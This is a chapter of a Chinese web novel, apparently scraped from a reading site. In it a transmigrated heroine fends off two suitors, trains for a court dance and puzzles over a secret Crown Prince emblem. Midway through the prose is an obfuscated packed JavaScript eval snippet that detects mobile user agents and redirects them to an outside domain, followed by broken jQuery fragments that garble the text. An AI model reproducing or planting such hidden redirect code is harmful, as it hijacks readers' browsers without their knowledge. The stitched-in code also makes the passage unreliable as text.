心念一动,“崔清婉”决定主动出击。
“倒是两位,想必你俩并不能像我这般肆意,不如你们去回了能做主的人,我想我们还可以再谈谈。”
!
简直已经讲话明说,众人看向“崔清婉”,目光中皆是钦佩,除却崔皓月。
崔皓月一张俊脸为难得厉害,他负手踱步,想要开口劝阻几句,却又不知该如何开口。
所以在他欲言又止的犹豫下,他只能眼睁睁看着裴如信与穆飞柳二人利落施礼后转身离开。
哦,还有就是,他清楚看到二人转身后目光不善的对视,以及离开时那并肩而走、互不相让以至于步履匆匆、你追我赶的模样。
“四姐姐,这次你可算是把水搅浑咯……”
转眸看向仰天叹息的崔皓月,“崔清婉”暗自生疑,因为在她的记忆中,崔皓羿应当未将实情告知崔皓月,那他如今所言是为何?
于是她斟酌着开口:“莫非你知——”
“这算什么浑水?四郎君不能因那两位都是人中英杰,就挪揄四娘。而且那两位如此表现,更加说明是我们四娘秀外慧中,任谁瞧见也偏爱得紧呢!”
还不等她开口,云岫先是打断便自顾自地说起话来,但见云岫巧笑倩兮、美目盼兮,点着小碎步便挪在“崔清婉”身后弯下腰来。
“晴眉,你说是不是?”
“是是是,云姐姐说得对极了,”晴眉走上前来将茶壶放在石桌上,又斟了杯茶,“可我还是不太明白,同时明示两人,不是会很麻烦吗?”
“你们也……”
这下轮到“崔清婉”欲语还休了,即便这两位都是她的贴身女使,但她不认为她俩会得知更深的隐情。
莫非这个世界有公屏?
她接过晴眉递来的茶盏,一边吹拂热气儿,一边小心抬头偷偷向上方看去——不对啊!什么都没有啊!怎么他们几个都能听懂我说什么?!
“四姐!”
崔皓月自天空收回目光,接着一个转眸便锁定坐在石桌边正疑神疑鬼的自家四姐,三步并两步,他猛地凑了过来,夺下被用作遮掩的瓷杯,有些迫切追问:
“你就实说,他们俩你到底看上了谁?”
“哈?”
湛空浅云、神女揽霞,花木围绕的石桌旁,三人正目光烁烁围看清丽女子,但见她左言非是、右语难道,无措中不知如何辩解。
正值烦恼,偏听得身后也有耳语低笑之声,侧首回看,果然如此。
“崔清婉”回过头来深深叹气,她终于明白崔皓月为什么说她是搅浑水的了,再一联想不久后的宴会,她只能绝望地掩住双目——
“天呐,我做了什么……”
……
人做了尴尬事,想要逃避面对应该属于常态,这没什么可耻的。
嗯……对!
在裴如信与穆飞柳离开的十数天后,“崔清婉”不断给自己加强心理暗示,总算是不会再突如其来地发出莫名语气词然后跺脚拍桌了。
尴尬且放在一边,她不能因小失大,该为宴会准备的总得准备妥当。
“四娘子,手臂转如风旗……”
疯旗?新店开业门前那种充气人?她似懂非懂地开始抖起胳膊。
“四娘子,帔帛舞如游鱼……”
鱿鱼?铁板,香香!她克制着吞咽了下口水,将身上彩帛来回翻扬。
“四娘子……嗯,双目,含笑……”
啊?呃……笑?怎么笑来着?
于是——
跟着曲知笙学舞的第一天:脑血栓的吴老二康复训练。
跟着曲知笙学舞的第二天:黑土大爷吃了公鸡下的蛋。
跟着曲知笙学舞的第三天:被大忽悠带瘸腿的大脑袋。
……
跟着曲知笙学舞的第二十一天:翩如兰苕翠,婉如游龙举。
21天养成好习惯!21天开启自律人生!
曲氏姐弟在欣喜,云岫晴眉同雀跃,可只有她一人才知道,她能在二十一天的训练中完美表演《绿腰》根本不是靠她多么努力……
甚至与努力完全相反——
那就是她尽量不要努力!
跳舞这种活动自然是要讲究悟性,要讲表演者如何进行情感传递,但在这之前,最基础、也是最重要的便是——重复且枯燥乏味的苦功。
昔日的崔清婉一定是个爱装扮、爱舞蹈的妙人吧。
放空思绪的她依着伴曲,任身体自由轻盈地舞蹈。
所以说还是肌肉记忆更可靠,她只要稍微抽离自己的想法,就可以让身体重现原本的柔美。
自然,她这种做法并不能算是真正的完美,没有表情调动的舞者很显空洞,但她没办法,能做成这样已是极限了。
而且她如此应对也有好处,那就是可以避免与其他人对视,从而投入表演。
完全收回自己的精神外放,对一个社恐i人来说实在是太重要了。
身体还在柔缓舞动,她的心思早已飞到天际。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15052187|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这些日子的崔府应当还算平静,毕竟她早早便让下人知会任何一个来访者——就说她旧疾复发,正在精心休养。
不过这样一来,虽说少了寻常麻烦,但一些别有心思的人还是硬塞了不少珍贵药材。
这里着重谴责的便是茶香四溢、事后深情的李澈。
另外的麻烦便是负责往崔府寄送珍玩的樛木了。
要不是她再三给跑腿的樛木证明自己身体康健,只怕传回到崔皓羿那儿指不定是怎样的消息呢。
有关老妪一事,她与当日知情者皆约好,瞒着崔家其他人不多言语。
毕竟只是影响心情,却也不能称得上是大事。
而能称得上是大事的,唯有裴如信偷偷塞给她的一块碎布料——
那是一小块极为朴素的麻布,应该是贫苦人家的东西,上面有一枚造型别致的黑色花纹,笔触滞涩,似乎是在思索状态下用烧黑木炭复画上去的。
她自然是小心将布料收了起来,而后又模仿着将花纹画下两份,一份托樛木带给崔皓羿,一份被她拿着不经意地抖落出来。
“欸?四姐姐怎会描摹东宫密纹?难道大哥也有事相托吗?”
压下心中惊疑,她随意寻了个理由将捡起花笺的崔皓月搪塞过去,而后便拉着对方详细询问起各路皇亲国戚的模样与特征了。
东宫密纹啊……
她拧着身子向后回眸,本该是顾盼生姿的娇媚时刻,却因为她出神的表情显得不情不愿,甚至还有一股淡淡的死气。
忽略掉周围人让她浅笑的提醒,她转点舞步,又换了新的姿势。
裴如信掩着众人耳目,显然是不敢擅自挑明。
若非是从那妇人家中搜到,他何必如此谨慎?
且碍于崔大郎君是东宫强有力的支撑者,他又不能将这物件当众拿出,只能暗中交给自己。
可这布料果真可信吗?为何一同前往妇人家中的穆飞柳丝毫不知此事?
还是说……其实穆飞柳知道?
穆飞柳应是跟随穆侍郎同在承乐公主麾下,那裴家呢?
裴家是与承乐公主有些关系,毕竟裴家大郎就是被承乐公主一见倾心后,强硬纳去做了驸马。
对,强硬,即便是晴眉也听说过裴家大郎的原配妻子被魏后安了罪名绞杀,接着裴家大郎便被赐婚。
除了这段以权力捆绑的姻缘,裴家与承乐公主似乎并无半分亲密。
所以此事不会是承乐公主为离间崔家与太子而下的套,就目前种种动作来看,承乐公主真与醉汉一事无关。
那裴如信为何这样做?莫非只是为了给自己一个线索,不为了什么派系之争?
可自己与他并无深交——
哦不对,他似乎别有用心,那天他很不对劲,还有穆飞柳,这俩人莫名其妙地就陷入了……爱情?
该不会是他俩借势亲近崔府,从而更好拉拢崔皓昌吧?
啧。
想到二人离开崔府时格外兴奋的背影,以及这几日来不断的邀约,她突然又控制不住地想要使点力气缓解烦躁。
“别……四娘……”
因回忆起尴尬而回神的“崔清婉”终于察觉到身边的嘈杂,双目聚焦间,她歪着脑袋疑惑地看向匆忙护上前的三位妙人。
“你们怎么欸——呀!!”
看来到时候在盛王府起舞时,不能太放空自我,容易跳出场地,不甚雅观。
最后仰躺在地望着天空的“崔清婉”这样想到。